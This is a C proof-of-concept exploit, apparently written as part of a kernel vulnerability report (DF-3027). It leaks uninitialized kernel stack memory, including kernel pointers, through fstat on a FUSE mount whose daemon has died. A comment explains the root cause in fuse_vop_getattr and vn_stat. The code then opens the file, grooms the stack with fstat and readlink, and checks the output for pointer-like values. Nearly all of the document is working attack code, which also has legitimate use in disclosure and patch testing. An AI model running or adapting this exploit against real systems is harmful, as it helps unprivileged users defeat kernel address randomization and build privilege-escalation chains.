DF-3027 / stat_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-3027 โ unprivileged kernel-stack info leak (kernel pointers) via * stat-family syscalls on a FUSE mount whose daemon is dead (or whose * FUSE_GETATTR was latched -ENOSYS). * * fuse_vop_getattr (sys/vfs/fuse/fuse_vnops.c:312-316) returns SUCCESS * without writing *ap->a_vap when the mount is dead * (fuse_test_dead -> return 0) or FUSE_GETATTR is latched ENOSYS * (fuse_test_nosys -> return 0); the ENOSYS error itself is likewise * converted to success at :329-338 without filling the vattr. * The caller vn_stat (sys/kern/vfs_vnops.c:833) uses an UNINITIALIZED * stack `struct vattr vattr;` and copies its fields into the user's * struct stat on success -> raw kernel stack bytes (including kernel * text/heap pointers left by the previous syscall's frames) are * disclosed to any unprivileged user able to fstat()/stat() a file on * the mount. * * Two-phase flow (run.sh orchestrates): * 1. open() the fuse file while the daemon is ALIVE (fd held) * 2. daemon is killed -> fuse_mount_kill -> dead=1 * 3. groom the kernel stack: * fstat(marker_fd) โ puts a valid va_type in the vn_stat slot * readlink(path) โ drops kernel pointers into the same slot * 4. fstat(fuse_fd) โ SUCCESS + leaked kernel stack contents * * Modes: * marker โ fstat(marker); fstat(fuse): the fuse file reports the * MARKER's attributes verbatim (deterministic uninit-read * proof, no pointers) * ptrs โ fstat(marker); readlink(x); fstat(fuse): leaked fields * contain kernel pointers (>= 0x800000000000) * * usage: stat_leak <marker|ptrs> <fusefile> <gofile> */ #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static const char *marker = "/tmp/df3027_marker"; static void print_stat(const char *tag, const struct stat *st) { printf("%-7s mode=%o ino=%llx uid=%u(%x) gid=%u(%x) sz=%llx\n" "%-7s at=%llx.%08llx mt=%llx.%08llx ct=%llx.%08llx nl=%llu\n", tag, st->st_mode, (unsigned long long)st->st_ino, (unsigned)st->st_uid, (unsigned)st->st_uid, (unsigned)st->st_gid, (unsigned)st->st_gid, (unsigned long long)st->st_size, "", (unsigned long long)st->st_atimespec.tv_sec, (unsigned long long)st->st_atimespec.tv_nsec, (unsigned long long)st->st_mtimespec.tv_sec, (unsigned long long)st->st_mtimespec.tv_nsec, (unsigned long long)st->st_ctimespec.tv_sec, (unsigned long long)st->st_ctimespec.tv_nsec, (unsigned long long)st->st_nlink); } static int ptrlike_fields(const struct stat *st) { int n = 0; if ((uint64_t)st->st_size >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_ino >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_atimespec.tv_sec >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_mtimespec.tv_sec >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_ctimespec.tv_sec >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_atimespec.tv_nsec >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_mtimespec.tv_nsec >= 0x0000800000000000ULL) n++; if ((uint64_t)st->st_ctimespec.tv_nsec >= 0x0000800000000000ULL) n++; return n; } int main(int argc, char **argv) { const char *mode, *fusefile, *gofile; struct stat mst, fst; char linkbuf[4096]; int fdm, fdf, rc, i; if (argc != 4) { fprintf(stderr, "usage: %s <marker|ptrs> <fusefile> <gofile>\n", argv[0]); return 2; } mode = argv[1]; fusefile = argv[2]; gofile = argv[3]; setvbuf(stdout, NULL, _IONBF, 0); /* marker with distinctive attrs */ { int fd = open(marker, O_CREAT | O_RDWR | O_TRUNC, 0600); char blk[11893]; if (fd < 0) { perror("marker create"); return 1; } memset(blk, 0x5a, sizeof(blk)); if (write(fd, blk, sizeof(blk)) != (ssize_t)sizeof(blk)) perror("marker write"); close(fd); } fdm = open(marker, O_RDONLY); fdf = open(fusefile, O_RDONLY); /* daemon still alive here */ printf("opens: marker=%d fuse=%d\n", fdm, fdf); if (fdm < 0 || fdf < 0) { printf("OPEN_FAILED errno=%d\n", errno); return 1; } rc = fstat(fdf, &fst); printf("live fstat rc=%d\n", rc); print_stat("LIVE", &fst); /* wait for run.sh to kill the daemon */ for (i = 0; i < 600; i++) { if (access(gofile, F_OK) == 0) break; usleep(100000); } printf("--- daemon dead; grooming ---\n"); /* groom 1: valid vtype into the vn_stat vattr slot */ fstat(fdm, &mst); print_stat("MARKER", &mst); /* groom 2 (ptrs mode): kernel-pointer residue from readlink frames */ if (strcmp(mode, "ptrs") == 0) { if (readlink("/etc/resolv.conf", linkbuf, sizeof(linkbuf)) < 0) perror("readlink groom (non-fatal)"); } memset(&fst, 0, sizeof(fst)); rc = fstat(fdf, &fst); printf("LEAK fstat rc=%d errno=%d ptrlike=%d\n", rc, errno, ptrlike_fields(&fst)); if (rc == 0) print_stat("LEAK", &fst); if (strcmp(mode, "marker") == 0 && rc == 0) { if (fst.st_size == mst.st_size && fst.st_ino == mst.st_ino && fst.st_uid == mst.st_uid && fst.st_atimespec.tv_sec == mst.st_atimespec.tv_sec) { printf("ECHO_OF_MARKER=YES (uninitialized stack proven)\n"); return 0; } printf("ECHO_OF_MARKER=no\n"); return 2; } if (strcmp(mode, "ptrs") == 0 && rc == 0) { if (ptrlike_fields(&fst) >= 3) { printf("KERNEL_POINTERS_LEAKED=YES\n"); return 0; } printf("KERNEL_POINTERS_LEAKED=no\n"); return 2; } return 2; } |